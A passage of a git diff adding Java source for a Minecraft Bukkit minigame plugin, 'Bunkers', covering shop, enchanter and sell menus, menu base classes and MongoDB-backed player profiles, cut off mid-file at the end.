org.bukkit.inventory.Inventory; +import org.bukkit.inventory.ItemStack; +import org.bukkit.scheduler.BukkitRunnable; +import org.bukkit.util.ChatPaginator; + +public class CombatMenu extends ChestMenu { + private Player player; + + public CombatMenu(Player player) { + super(6 * 9); + this.player = player; + + update(); + } + + public void update() { + inventory.clear(); + + inventory.setItem(10, new ItemBuilder(Material.DIAMOND_HELMET).setDisplayName("&aDiamond Helmet").setLore("&7&m-------------------", "&71 x Diamond Helmet", "&7&m-------------------", "&7Price: &a$50").create()); + inventory.setItem(11, new ItemBuilder(Material.BOW).setDisplayName("&aBow").setLore("&7&m-------------------", "&71 x Bow", "&7&m-------------------", "&7Price: &a$150").create()); + inventory.setItem(12, new ItemBuilder(Material.ARROW).setDisplayName("&aArrows").setLore("&7&m-------------------", "&71 x Arrow", " &e- &aRight click to buy 16", "&7&m-------------------", "&7Price: &a$10").create()); + inventory.setItem(14, new ItemBuilder(Material.POTION).setDurability(8226).setDisplayName("&aSpeed II Potion").setLore("&7&m-------------------", "&71 x Speed II Potion", "&7&m-------------------", "&7Price: &a$15").create()); + inventory.setItem(15, new ItemBuilder(Material.POTION).setDurability(8227).setDisplayName("&aFire Resistant Potion").setLore("&7&m-------------------", "&71 x Fire Resistance Potion", "&7&m-------------------", "&7Price: &a$25").create()); + inventory.setItem(23, new ItemBuilder(Material.POTION).setDurability(16421).setDisplayName("&aInstant Health II Potion").setLore("&7&m-------------------", "&71 x Instant Health II Potion", " &e- &aRight click fill your inventory", "&7&m-------------------", "&7Price: &a$5").create()); + inventory.setItem(21, new ItemBuilder(Material.ENDER_PEARL).setDisplayName("&aEnder Pearls").setLore("&7&m-------------------", "&71 x Ender Pearl", " &e- &aRight click to buy 16", "&7&m-------------------", "&7Price: &a$25").create()); + inventory.setItem(19, new ItemBuilder(Material.DIAMOND_CHESTPLATE).setDisplayName("&aDiamond Chestplate").setLore("&7&m-------------------", "&71 x Diamond Chestplate", "&7&m-------------------", "&7Price: &a$200").create()); + inventory.setItem(20, new ItemBuilder(Material.DIAMOND).setDisplayName("&aFull Diamond Set").setLore("&7&m-------------------", "&71 x Full Diamond Set", "&7&m-------------------", "&7Price: &a$600").create()); + inventory.setItem(28, new ItemBuilder(Material.DIAMOND_LEGGINGS).setDisplayName("&aDiamond Leggings").setLore("&7&m-------------------", "&71 x Diamond Leggings", "&7&m-------------------", "&7Price: &a$150").create()); + inventory.setItem(37, new ItemBuilder(Material.DIAMOND_BOOTS).setDisplayName("&aDiamond Boots").setLore("&7&m-------------------", "&71 x Diamond Boots", "&7&m-------------------", "&7Price: &a$65").create()); + inventory.setItem(39, new ItemBuilder(Material.POTION).setDisplayName("&aAntidote").setLore("&7&m-------------------", "&71 x Antidote", "&7&m-------------------", "&7Price: &a$150").create()); + inventory.setItem(41, new ItemBuilder(Material.COOKED_BEEF).setDisplayName("&aCooked Beef").setLore("&7&m-------------------", "&71 x Beef", " &e- &aRight click to buy 16", "&7&m-------------------", "&7Price: &a$5").create()); + inventory.setItem(18, new ItemBuilder(Material.DIAMOND_SWORD).setDisplayName("&aDiamond Sword").setLore("&7&m-------------------", "&71 x Diamond Sword", "&7&m-------------------", "&7Price: &a$150").create()); + + for (int i = 0; i < 6 * 9; i++) { + if (inventory.getItem(i) != null) continue; + + inventory.setItem(i, new ItemBuilder(Material.STAINED_GLASS_PANE).setDurability(7).setDisplayName(" ").create()); + } + } + + @Override + public String getTitle() { + return ChatColor.RED + ChatColor.BOLD.toString() + "Combat Shop"; + } + + @Override + public void onInventoryClick(InventoryClickEvent event) { + Inventory clickedInventory = event.getClickedInventory(); + Inventory topInventory = event.getView().getTopInventory(); + if (clickedInventory == null || topInventory == null || !topInventory.equals(inventory)) { + return; + } + + Player player = (Player) event.getWhoClicked(); + + if (topInventory.equals(clickedInventory)) { + event.setCancelled(true); + + if (event.getCurrentItem().getType() != Material.AIR) { + if (event.getCurrentItem().getItemMeta() != null && event.getCurrentItem().getItemMeta().getDisplayName() != null && event.getCurrentItem().getType() != Material.STAINED_GLASS_PANE) { + Profile profile = Bunkers.getPlugin().getProfileManager().getProfile(player); + int balance = Bunkers.getPlugin().getProfileManager().getProfile(player).getBalance(); + + if (event.getCurrentItem().getItemMeta().getDisplayName().contains("Instant")) { + int cost = Integer.parseInt(stripNonDigits(ChatColor.stripColor(event.getCurrentItem().getItemMeta().getLore().get(4)))); + + if (cost > balance) { + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&cThis costs &e$" + cost + "&c, you only have &e$" + balance + "&c.")); + return; + } + + if (event.getClick() == ClickType.RIGHT) { + for (ItemStack itemStack : player.getInventory().getContents()) { + if (itemStack == null) { + cost += 5; + } + } + + if (cost > balance) { + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&cThis costs &e$" + cost + "&c, you only have &e$" + balance + "&c.")); + return; + } + + for (int i = 0; i < 36; i++) { + if (player.getInventory().getItem(i) == null) { + player.getInventory().setItem(i, new ItemStack(Material.POTION, 1, (short) 16421)); + } + } + Bunkers.getPlugin().getProfileManager().getProfile(player).setBalance(Bunkers.getPlugin().getProfileManager().getProfile(player).getBalance() - cost); + } else if (event.getClick() == ClickType.LEFT) { + if (cost > balance) { + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&cThis costs &e$" + cost + "&c, you only have &e$" + balance + "&c.")); + return; + } + + player.getInventory().addItem(new ItemStack(event.getCurrentItem().getType())); + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&aYou have bought &ea " + WordUtils.capitalizeFully(event.getCurrentItem().getType().name().replace("_", " ")) + " &afor &e$" + cost + "&a.")); + profile.setBalance(profile.getBalance() - cost); + } + return; + } + + if (event.getCurrentItem().getItemMeta().getDisplayName().contains("Ender")) { + int cost = Integer.parseInt(stripNonDigits(ChatColor.stripColor(event.getCurrentItem().getItemMeta().getLore().get(4)))); + + if (event.getClick() == ClickType.RIGHT) { + cost = cost * 16; + + if (cost > balance) { + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&cThis costs &e$" + cost + "&c, you only have &e$" + balance + "&c.")); + return; + } + + player.getInventory().addItem(new ItemStack(event.getCurrentItem().getType(), 16)); + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&aYou have bought &ea " + WordUtils.capitalizeFully(event.getCurrentItem().getType().name().replace("_", " ")) + " &afor &e$" + cost + "&a.")); + profile.setBalance(profile.getBalance() - cost); + } else if (event.getClick() == ClickType.LEFT) { + if (cost > balance) { + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&cThis costs &e$" + cost + "&c, you only have &e$" + balance + "&c.")); + return; + } + + player.getInventory().addItem(new ItemStack(event.getCurrentItem().getType())); + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&aYou have bought &ea " + WordUtils.capitalizeFully(event.getCurrentItem().getType().name().replace("_", " ")) + " &afor &e$" + cost + "&a.")); + profile.setBalance(profile.getBalance() - cost); + } + + return; + } + + if (event.getCurrentItem().getItemMeta().getDisplayName().contains("Beef")) { + int cost = Integer.parseInt(stripNonDigits(ChatColor.stripColor(event.getCurrentItem().getItemMeta().getLore().get(4)))); + + if (event.getClick() == ClickType.RIGHT) { + cost = cost * 16; + + if (cost > balance) { + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&cThis costs &e$" + cost + "&c, you only have &e$" + balance + "&c.")); + return; + } + + player.getInventory().addItem(new ItemStack(event.getCurrentItem().getType(), 16)); + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&aYou have bought &ea " + WordUtils.capitalizeFully(event.getCurrentItem().getType().name().replace("_", " ")) + " &afor &e$" + cost + "&a.")); + profile.setBalance(profile.getBalance() - cost); + } else if (event.getClick() == ClickType.LEFT) { + if (cost > balance) { + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&cThis costs &e$" + cost + "&c, you only have &e$" + balance + "&c.")); + return; + } + + player.getInventory().addItem(new ItemStack(event.getCurrentItem().getType())); + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&aYou have bought &ea " + WordUtils.capitalizeFully(event.getCurrentItem().getType().name().replace("_", " ")) + " &afor &e$" + cost + "&a.")); + profile.setBalance(profile.getBalance() - cost); + } + return; + } + + if (event.getCurrentItem().getItemMeta().getDisplayName().contains("Arrow")) { + int cost = Integer.parseInt(stripNonDigits(ChatColor.stripColor(event.getCurrentItem().getItemMeta().getLore().get(4)))); + + if (event.getClick() == ClickType.RIGHT) { + cost = cost * 16; + + if (cost > balance) { + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&cThis costs &e$" + cost + "&c, you only have &e$" + balance + "&c.")); + return; + } + + player.getInventory().addItem(new ItemStack(event.getCurrentItem().getType(), 16)); + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&aYou have bought &ea " + WordUtils.capitalizeFully(event.getCurrentItem().getType().name().replace("_", " ")) + " &afor &e$" + cost + "&a.")); + profile.setBalance(profile.getBalance() - cost); + } else if (event.getClick() == ClickType.LEFT) { + if (cost > balance) { + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&cThis costs &e$" + cost + "&c, you only have &e$" + balance + "&c.")); + return; + } + + player.getInventory().addItem(new ItemStack(event.getCurrentItem().getType())); + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&aYou have bought &ea " + WordUtils.capitalizeFully(event.getCurrentItem().getType().name().replace("_", " ")) + " &afor &e$" + cost + "&a.")); + profile.setBalance(profile.getBalance() - cost); + } + return; + } + + int cost = Integer.parseInt(stripNonDigits(ChatColor.stripColor(event.getCurrentItem().getItemMeta().getLore().get(3)))); + + if (cost > balance) { + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&cThis costs &e$" + cost + "&c, you only have &e$" + balance + "&c.")); + return; + } + + if (event.getCurrentItem().getItemMeta().getDisplayName().contains("Full")) { + player.getInventory().setHelmet(new ItemStack(Material.DIAMOND_HELMET)); + player.getInventory().setChestplate(new ItemStack(Material.DIAMOND_CHESTPLATE)); + player.getInventory().setLeggings(new ItemStack(Material.DIAMOND_LEGGINGS)); + player.getInventory().setBoots(new ItemStack(Material.DIAMOND_BOOTS)); + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&aYou have bought &ea " + "full diamond set" + " &afor &e$" + cost + "&a.")); + profile.setBalance(profile.getBalance() - cost); + return; + } + + if (event.getCurrentItem().getItemMeta().getDisplayName().contains("Antidote")) { + player.getInventory().addItem(new ItemBuilder(Material.POTION).setDisplayName("&aAntidote").create()); + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&aYou have bought &ean " + "antidote" + " &afor &e$" + cost + "&a.")); + profile.setBalance(profile.getBalance() - cost); + return; + } + + player.getInventory().addItem(new ItemStack(event.getCurrentItem().getType(), 1, event.getCurrentItem().getDurability())); + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&aYou have bought &ea " + WordUtils.capitalizeFully(event.getCurrentItem().getType().name().replace("_", " ")) + " &afor &e$" + cost + "&a.")); + profile.setBalance(profile.getBalance() - cost); + } + } + } else if (!topInventory.equals(clickedInventory) && event.getAction() == InventoryAction.MOVE_TO_OTHER_INVENTORY) { + event.setCancelled(true); + } + } + + @Override + public void onInventoryDrag(InventoryDragEvent event) { + Inventory topInventory = event.getView().getTopInventory(); + if (topInventory.equals(getInventory())) { + event.setCancelled(true); + } + } + + public static String stripNonDigits( + final CharSequence input /* inspired by seh's comment */) { + final StringBuilder sb = new StringBuilder( + input.length() /* also inspired by seh's comment */); + for (int i = 0; i < input.length(); i++) { + final char c = input.charAt(i); + if (c > 47 && c < 58) { + sb.append(c); + } + } + return sb.toString(); + } +} \ No newline at end of file diff --git a/Bunkers/src/main/java/me/redis/bunkers/menu/menu/EnchanterMenu.java b/Bunkers/src/main/java/me/redis/bunkers/menu/menu/EnchanterMenu.java new file mode 100644 index 0000000..734a2b2 --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/menu/menu/EnchanterMenu.java @@ -0,0 +1,127 @@ +package me.redis.bunkers.menu.menu; + +import me.redis.bunkers.Bunkers; +import me.redis.bunkers.menu.type.ChestMenu; +import me.redis.bunkers.profiles.Profile; +import me.redis.bunkers.utils.ItemBuilder; +import org.apache.commons.lang.WordUtils; +import org.bukkit.ChatColor; +import org.bukkit.Material; +import org.bukkit.enchantments.Enchantment; +import org.bukkit.entity.Player; +import org.bukkit.event.inventory.InventoryAction; +import org.bukkit.event.inventory.InventoryClickEvent; +import org.bukkit.event.inventory.InventoryDragEvent; +import org.bukkit.inventory.Inventory; +import org.bukkit.inventory.ItemStack; +import org.bukkit.scheduler.BukkitRunnable; +import org.bukkit.util.ChatPaginator; + +public class EnchanterMenu extends ChestMenu { + private Player player; + + public EnchanterMenu(Player player) { + super(9); + this.player = player; + + update(); + } + + public void update() { + inventory.clear(); + + inventory.addItem(new ItemBuilder(Material.ENCHANTED_BOOK).setDisplayName("&3Sharpness I").setLore("&7&m-------------------", "&7Sharpness I for your sword", "&7&m-------------------", "&ePrice: &a$300").create()); + inventory.addItem(new ItemBuilder(Material.ENCHANTED_BOOK).setDisplayName("&3Protection I").setLore("&7&m-------------------", "&7Protection I for your armor", "&7&m-------------------", "&ePrice: &a$1200").create()); + inventory.addItem(new ItemBuilder(Material.ENCHANTED_BOOK).setDisplayName("&3Feather Falling IV").setLore("&7&m-------------------", "&7Feather Falling IV for your boots", "&7&m-------------------", "&ePrice: &a$200").create()); + + for (int i = 0; i < 9; i++) { + if (inventory.getItem(i) != null) continue; + + inventory.setItem(i, new ItemBuilder(Material.STAINED_GLASS_PANE).setDurability(7).setDisplayName(" ").create()); + } + } + + @Override + public String getTitle() { + return ChatColor.RED + ChatColor.BOLD.toString() + "Block Shop"; + } + + @Override + public void onInventoryClick(InventoryClickEvent event) { + Inventory clickedInventory = event.getClickedInventory(); + Inventory topInventory = event.getView().getTopInventory(); + if (clickedInventory == null || topInventory == null || !topInventory.equals(inventory)) { + return; + } + + Player player = (Player) event.getWhoClicked(); + Profile profile = Bunkers.getPlugin().getProfileManager().getProfile(player); + + if (topInventory.equals(clickedInventory)) { + event.setCancelled(true); + + if (event.getCurrentItem().getType() != Material.AIR) { + if (event.getCurrentItem().getItemMeta() != null && event.getCurrentItem().getType() != Material.STAINED_GLASS_PANE) { + int balance = profile.getBalance(); + int cost = Integer.parseInt(ChatColor.stripColor(event.getCurrentItem().getItemMeta().getLore().get(3).split(" ")[1].replace("$", ""))); + + if (cost > balance) { + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&cThis costs &e$" + cost + "&c, you only have &e$" + balance + "&c.")); + } else { + if (event.getCurrentItem().getItemMeta().getDisplayName().contains("Sharpness")) { + int counter = 0; + + for (ItemStack itemStack : player.getInventory().getContents()) { + if (itemStack != null && itemStack.getType() == Material.DIAMOND_SWORD && counter == 0) { + itemStack.addEnchantment(Enchantment.DAMAGE_ALL, 1); + + counter++; + } + } + } else if (event.getCurrentItem().getItemMeta().getDisplayName().contains("Feather")) { + int counter = 0; + + for (ItemStack itemStack : player.getInventory().getContents()) { + if (itemStack != null && itemStack.getType() == Material.DIAMOND_BOOTS && counter == 0) { + itemStack.addEnchantment(Enchantment.PROTECTION_FALL, 1); + + counter++; + } + } + } else if (event.getCurrentItem().getItemMeta().getDisplayName().contains("Protection")) { + + for (ItemStack itemStack : player.getInventory().getContents()) { + if (itemStack != null && (itemStack.getType() == Material.DIAMOND_HELMET || itemStack.getType() == Material.DIAMOND_CHESTPLATE || itemStack.getType() == Material.DIAMOND_LEGGINGS || itemStack.getType() == Material.DIAMOND_BOOTS)) { + itemStack.addEnchantment(Enchantment.PROTECTION_ENVIRONMENTAL, 1); + } + } + } + } + } + } + } else if (!topInventory.equals(clickedInventory) && event.getAction() == InventoryAction.MOVE_TO_OTHER_INVENTORY) { + event.setCancelled(true); + } + } + + @Override + public void onInventoryDrag(InventoryDragEvent event) { + Inventory topInventory = event.getView().getTopInventory(); + if (topInventory.equals(getInventory())) { + event.setCancelled(true); + } + } + + public static String stripNonDigits( + final CharSequence input /* inspired by seh's comment */){ + final StringBuilder sb = new StringBuilder( + input.length() /* also inspired by seh's comment */); + for(int i = 0; i < input.length(); i++){ + final char c = input.charAt(i); + if(c > 47 && c < 58){ + sb.append(c); + } + } + return sb.toString(); + } +} \ No newline at end of file diff --git a/Bunkers/src/main/java/me/redis/bunkers/menu/menu/SellMenu.java b/Bunkers/src/main/java/me/redis/bunkers/menu/menu/SellMenu.java new file mode 100644 index 0000000..9c5a48f --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/menu/menu/SellMenu.java @@ -0,0 +1,143 @@ +package me.redis.bunkers.menu.menu; + +import me.redis.bunkers.Bunkers; +import me.redis.bunkers.menu.type.ChestMenu; +import me.redis.bunkers.profiles.Profile; +import me.redis.bunkers.utils.ItemBuilder; +import org.apache.commons.lang.WordUtils; +import org.bukkit.ChatColor; +import org.bukkit.Material; +import org.bukkit.entity.Player; +import org.bukkit.event.inventory.ClickType; +import org.bukkit.event.inventory.InventoryAction; +import org.bukkit.event.inventory.InventoryClickEvent; +import org.bukkit.event.inventory.InventoryDragEvent; +import org.bukkit.inventory.Inventory; +import org.bukkit.inventory.ItemStack; +import org.bukkit.scheduler.BukkitRunnable; +import org.bukkit.util.ChatPaginator; + +public class SellMenu extends ChestMenu { + private Player player; + + public SellMenu(Player player) { + super(9); + this.player = player; + + update(); + } + + public void update() { + inventory.clear(); + + int diamond = 0; + int gold = 0; + int iron = 0; + int coal = 0; + + for (ItemStack itemStack : player.getInventory().getContents()) { + if (itemStack != null) { + if (itemStack.getType() == Material.DIAMOND) { + diamond += itemStack.getAmount(); + } + + if (itemStack.getType() == Material.GOLD_INGOT) { + gold += itemStack.getAmount(); + } + + if (itemStack.getType() == Material.IRON_ORE) { + iron += itemStack.getAmount(); + } + + if (itemStack.getType() == Material.COAL) { + coal += itemStack.getAmount(); + } + } + } + + inventory.setItem(1, new ItemBuilder(Material.DIAMOND).setDisplayName("&bSell Diamond").setLore("&7&m-------------------", "&7Left click to sell 1 x Diamond for &a$50", "&7Right click to sell all your diamonds for &a$" + diamond * 50, "&7&m-------------------").create()); + inventory.setItem(3, new ItemBuilder(Material.GOLD_INGOT).setDisplayName("&bSell Gold").setLore("&7&m-------------------", "&7Left click to sell 1 x Gold Ingot for &a$35", "&7Right click to sell all your gold for &a$" + gold * 35, "&7&m-------------------").create()); + inventory.setItem(5, new ItemBuilder(Material.IRON_INGOT).setDisplayName("&bSell Iron").setLore("&7&m-------------------", "&7Left click to sell 1 x Iron Ingot for &a$25", "&7Right click to sell all your iron for &a$" + iron * 25, "&7&m-------------------").create()); + inventory.setItem(7, new ItemBuilder(Material.COAL).setDisplayName("&bSell Coal").setLore("&7&m-------------------", "&7Left click to sell 1 x Coal for &a$15", "&7Right click to sell all your coal for &a$" + coal * 15, "&7&m-------------------").create()); + + for (int i = 0; i < 9; i++) { + if (inventory.getItem(i) != null) continue; + + inventory.setItem(i, new ItemBuilder(Material.STAINED_GLASS_PANE).setDurability(7).setDisplayName(" ").create()); + } + } + + @Override + public String getTitle() { + return ChatColor.RED + ChatColor.BOLD.toString() + "Sell Items"; + } + + @Override + public void onInventoryClick(InventoryClickEvent event) { + Inventory clickedInventory = event.getClickedInventory(); + Inventory topInventory = event.getView().getTopInventory(); + if (clickedInventory == null || topInventory == null || !topInventory.equals(inventory)) { + return; + } + + Player player = (Player) event.getWhoClicked(); + Profile profile = Bunkers.getPlugin().getProfileManager().getProfile(player); + + if (topInventory.equals(clickedInventory)) { + event.setCancelled(true); + + if (event.getCurrentItem().getType() != Material.AIR) { + if (event.getCurrentItem().getItemMeta() != null && event.getCurrentItem().getType() != Material.STAINED_GLASS_PANE) { + if (event.getClick() == ClickType.LEFT) { + int cost = Integer.parseInt(stripNonDigits(ChatColor.stripColor(event.getCurrentItem().getItemMeta().getLore().get(1).replace("1", "")))); + + if (player.getInventory().contains(event.getCurrentItem().getType())) { + profile.setBalance(profile.getBalance() + cost); + player.getInventory().removeItem(new ItemStack(event.getCurrentItem().getType(), 1)); + player.updateInventory(); + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&aYou have sold &ex1 " + WordUtils.capitalizeFully(event.getCurrentItem().getType().name().replace("_", " ")) + "&a for &e$" + cost + "&a.")); + update(); + } else { + player.sendMessage(ChatColor.RED + "You don't have enough to sell."); + } + } else if (event.getClick() == ClickType.RIGHT) { + int cost = Integer.parseInt(stripNonDigits(ChatColor.stripColor(event.getCurrentItem().getItemMeta().getLore().get(2)))); + + if (player.getInventory().contains(event.getCurrentItem().getType())) { + profile.setBalance(profile.getBalance() + cost); + player.getInventory().remove(event.getCurrentItem().getType()); + player.updateInventory(); + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&aYou have sold all your &e" + WordUtils.capitalizeFully(event.getCurrentItem().getType().name().replace("_", " ")) + "&a for &e$" + cost + "&a.")); + update(); + } else { + player.sendMessage(ChatColor.RED + "You don't have enough to sell."); + } + } + } + } + } else if (!topInventory.equals(clickedInventory) && event.getAction() == InventoryAction.MOVE_TO_OTHER_INVENTORY) { + event.setCancelled(true); + } + } + + @Override + public void onInventoryDrag(InventoryDragEvent event) { + Inventory topInventory = event.getView().getTopInventory(); + if (topInventory.equals(getInventory())) { + event.setCancelled(true); + } + } + + public static String stripNonDigits( + final CharSequence input /* inspired by seh's comment */) { + final StringBuilder sb = new StringBuilder( + input.length() /* also inspired by seh's comment */); + for (int i = 0; i < input.length(); i++) { + final char c = input.charAt(i); + if (c > 47 && c < 58) { + sb.append(c); + } + } + return sb.toString(); + } +} \ No newline at end of file diff --git a/Bunkers/src/main/java/me/redis/bunkers/menu/type/ChestMenu.java b/Bunkers/src/main/java/me/redis/bunkers/menu/type/ChestMenu.java new file mode 100644 index 0000000..8216352 --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/menu/type/ChestMenu.java @@ -0,0 +1,40 @@ +package me.redis.bunkers.menu.type; + +import lombok.Getter; +import me.redis.bunkers.menu.IMenu; +import org.bukkit.inventory.Inventory; +import org.bukkit.plugin.java.JavaPlugin; + +import java.lang.reflect.Method; +import java.lang.reflect.ParameterizedType; + +@Getter +public abstract class ChestMenu implements IMenu { + + protected E plugin; + + public final Inventory inventory; + + public ChestMenu(int size) { + loadPlugin(); + + inventory = plugin.getServer().createInventory(this, size, getTitle().length() > 32 ? getTitle().substring(0, 32) : getTitle()); + } + + private void loadPlugin() { + Class clazz = ((Class) ((ParameterizedType) getClass().getGenericSuperclass()).getActualTypeArguments()[0]); + + Method method = null; + try { + method = clazz.getDeclaredMethod("getPlugin", null); + } catch (Exception exception) { + exception.printStackTrace(); + } + + try { + plugin = (E) method.invoke(null, method.getParameterTypes()); + } catch (Exception exception) { + exception.printStackTrace(); + } + } +} \ No newline at end of file diff --git a/Bunkers/src/main/java/me/redis/bunkers/menu/type/PaginatedMenu.java b/Bunkers/src/main/java/me/redis/bunkers/menu/type/PaginatedMenu.java new file mode 100644 index 0000000..e001ec1 --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/menu/type/PaginatedMenu.java @@ -0,0 +1,79 @@ +package me.redis.bunkers.menu.type; + +import lombok.Getter; +import me.redis.bunkers.menu.IMenu; +import me.redis.bunkers.menu.InventoryUtil; +import org.bukkit.entity.HumanEntity; +import org.bukkit.entity.Player; +import org.bukkit.event.inventory.InventoryDragEvent; +import org.bukkit.inventory.Inventory; +import org.bukkit.plugin.java.JavaPlugin; + +import java.lang.reflect.Method; +import java.lang.reflect.ParameterizedType; + +@Getter +public abstract class PaginatedMenu implements IMenu { + + protected E plugin; + + private int page; + + public final Inventory inventory; + + public PaginatedMenu(int size, int page) { + loadPlugin(); + + this.page = page; + + inventory = plugin.getServer().createInventory(this, size, getTitle().length() > 32 ? getTitle().substring(0, 32) : getTitle()); + + updateContents(); + } + + public abstract int getTotalPages(); + + public abstract void updateContents(); + + private void loadPlugin() { + Class clazz = ((Class) ((ParameterizedType) getClass().getGenericSuperclass()).getActualTypeArguments()[0]); + + Method method = null; + try { + method = clazz.getDeclaredMethod("getPlugin", null); + } catch (Exception exception) { + exception.printStackTrace(); + } + + try { + plugin = (E) method.invoke(null, method.getParameterTypes()); + } catch (Exception exception) { + exception.printStackTrace(); + } + } + + public void setPage(int page) { + this.page = page; + + for (HumanEntity viewer : getInventory().getViewers()) { + InventoryUtil.changeTitle((Player) viewer, getTitle()); + } + + updateContents(); + } + + @Override + public void open(Player player) { + player.openInventory(getInventory()); + + setPage(getPage()); + } + + @Override + public void onInventoryDrag(InventoryDragEvent event) { + Inventory topInventory = event.getView().getTopInventory(); + if (topInventory.equals(inventory)) { + event.setCancelled(true); + } + } +} \ No newline at end of file diff --git a/Bunkers/src/main/java/me/redis/bunkers/profiles/Profile.java b/Bunkers/src/main/java/me/redis/bunkers/profiles/Profile.java new file mode 100644 index 0000000..28197b3 --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/profiles/Profile.java @@ -0,0 +1,61 @@ +package me.redis.bunkers.profiles; + +import com.mongodb.client.FindIterable; +import com.mongodb.client.model.Filters; +import lombok.Getter; +import lombok.Setter; +import me.redis.bunkers.Bunkers; +import me.redis.bunkers.profiles.status.PlayerStatus; +import me.redis.bunkers.protocol.ClaimPillar; +import org.bson.Document; +import org.bson.conversions.Bson; +import java.util.*; + +@Getter +public class Profile { + private UUID uniqueId; + @Setter private String name; + + @Setter private int gamesPlayed, gamesWon, kills, deaths, matchKills, balance; + @Setter private PlayerStatus status = PlayerStatus.LOBBY; + + @Setter private ClaimPillar firstPillar; + @Setter private ClaimPillar secondPillar; + + public Profile(UUID uniqueId) { + this.uniqueId = uniqueId; + + load(); + } + + public void load() { + Document document = (Document) Bunkers.getPlugin().getProfilesCollection().find(Filters.eq("_id", uniqueId)).first(); + + if (document == null) return; + + name = document.getString("name"); + gamesPlayed = document.getInteger("gamesPlayed"); + gamesWon = document.getInteger("gamesWon"); + kills = document.getInteger("kills"); + deaths = document.getInteger("deaths"); + } + + public void save() { + Document document = new Document("_id", uniqueId); + + document.put("name", name); + document.put("gamesPlayed", gamesPlayed); + document.put("gamesWon", gamesWon); + document.put("kills", kills); + document.put("deaths", deaths); + + Bson filter = Filters.eq("_id", uniqueId); + FindIterable iterable = Bunkers.getPlugin().getProfilesCollection().find(filter); + + if (iterable.first() == null) { + Bunkers.getPlugin().getProfilesCollection().insertOne(document); + } else { + Bunkers.getPlugin().getProfilesCollection().replaceOne(filter, document); + } + } +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/profiles/ProfileManager.java b/Bunkers/src/main/java/me/redis/bunkers/profiles/ProfileManager.java new file mode 100644 index 0000000..1d25dee --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/profiles/ProfileManager.java @@ -0,0 +1,67 @@ +package me.redis.bunkers.profiles; + +import lombok.Getter; +import me.redis.bunkers.Bunkers; +import me.redis.bunkers.profiles.Profile; +import me.redis.bunkers.profiles.status.PlayerStatus; +import org.bson.Document; +import org.bukkit.Bukkit; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.Listener; +import org.bukkit.event.player.AsyncPlayerPreLoginEvent; +import org.bukkit.event.player.PlayerQuitEvent; + +import javax.print.Doc; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.Map; +import java.util.UUID; + +public class ProfileManager implements Listener { + public ProfileManager() { + Bukkit.getPluginManager().registerEvents(this, Bunkers.getPlugin()); + } + + @Getter + private Map profiles = new HashMap<>(); + + public Profile getProfile(UUID uniqueId) { + return profiles.get(uniqueId); + } + + public Profile getNotCachedProfile(UUID uniqueId) { + for (Object object : Bunkers.getPlugin().getProfilesCollection().find()) { + Document document = (Document) object; + + if (document.get("_id").equals(uniqueId)) { + return new Profile(uniqueId); + } + } + + return null; + } + + public Profile getProfile(Player player) { + return getProfile(player.getUniqueId()); + } + + @EventHandler + public void onJoin(AsyncPlayerPreLoginEvent event) { + Profile profile = new Profile(event.getUniqueId()); + + if (profile.getName() == null) { + profile.setName(event.getName()); + } + + profile.save(); + profile.setStatus(PlayerStatus.LOBBY); + + Bunkers.getPlugin().getProfileManager().getProfiles().put(event.getUniqueId(), profile); + } + + @EventHandler + public void onQuit(PlayerQuitEvent event) { + Bukkit.getScheduler().runTaskAsynchronously(Bunkers.getPlugin(), () -> getProfile(event.getPlayer().getUniqueId()).save()); + } +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/profiles/status/PlayerStatus.java b/Bunkers/src/main/java/me/redis/bunkers/profiles/status/PlayerStatus.java new file mode 100644 index 0000000..04be72d --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/profiles/status/PlayerStatus.java @@ -0,0 +1,5 @@ +package me.redis.bunkers.profiles.status; + +public enum PlayerStatus { + LOBBY, PLAYING, RESPAWNING, SPECTATOR +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/protocol/ClaimPillar.java b/Bunkers/src/main/java/me/redis/bunkers/protocol/ClaimPillar.java new file mode 100644 index 0000000..8f7bba2 --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/protocol/ClaimPillar.java @@ -0,0 +1,57 @@ +package me.redis.bunkers.protocol; + +import lombok.Getter; +import org.bukkit.Location; +import org.bukkit.Material; +import org.bukkit.entity.Player; + +import java.util.ArrayList; + +@Getter +public class ClaimPillar { + private Player player; + private Material blockType; + private byte data; + private ArrayList blocks; + private Location location; + + public ClaimPillar(Player player, Material blockType, byte data, Location location) { + this.player = player; + this.location = location; + this.blockType = blockType; + this.data = data; + + blocks = new ArrayList<>(); + } + + + public void sendPillar() { + int x = location.getBlockX(); + int z = location.getBlockZ(); + + for (int i = 0; i <= 256; i++) { + Location location = new Location(this.location.getWorld(), x, i, z); + if 